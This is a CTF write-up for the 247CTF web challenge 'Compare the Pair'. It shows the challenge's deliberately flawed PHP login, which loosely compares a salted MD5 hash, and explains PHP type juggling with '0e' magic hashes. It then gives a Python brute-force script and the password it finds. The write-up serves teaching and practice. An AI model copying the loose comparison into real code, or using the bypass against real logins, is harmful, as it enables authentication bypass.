Compare the Pair (web)

PUBLISHED ON 25/02/2020 — EDITED ON 01/04/2020 — 247CTF, INFOSEC


This is my write-up of a Web challenge Compare the Pair on the CTF site


Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right?


  $password_hash = "0e902564435691274142490923013038";
  $salt = "f789bbc328a3d1a3";
  if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
    echo $flag;
  echo highlight_file(__FILE__, true);

Initial thoughts

Type juggling

Type juggling a feature found in various programming languages, but specifically in PHP. It allows programmer to silently substutute values of one type with values of another type. Unfortunatly this feature is nowdays considered more of a flaw then a benefit.

Another thing to know about PHP is that it supports two different main comparison modes, “equal” or loose (==) and “identical” or strict (===).

The proprety that we can exploit here is that the following is true:

0e902564435691274142490923013038 == 0e1111

And 1111 here can be almost any number of digits.

Our case

With this knowledge, we can see what needs to be done.

We need to find a MD5 hash, created from our salt and any other data, that starts with 0e and finishes with 30 digits.

As MD5 is practically irreversible, we need to go the other way around. Generate MD5 hashes, until we find one of use. To do that, we can create a little Python script:

#!/usr/bin/env python3

import hashlib

salt = "f789bbc328a3d1a3"

i = 100000000

while 1:
    password = salt + str(i)
    password = password.encode('utf8')

    new_hash = hashlib.md5(password).hexdigest()
    if new_hash[0:2] == "0e" and new_hash[2:32].isdigit():
        print(password, str(i), new_hash)
    i += 1

Running this on AWS t2.medium instance:

$ time ./
b'f789bbc328a3d1a3237701818' 237701818 0e668271403484922599527929534016

real    5m59.688s
user    5m59.652s
sys     0m0.000s

See Also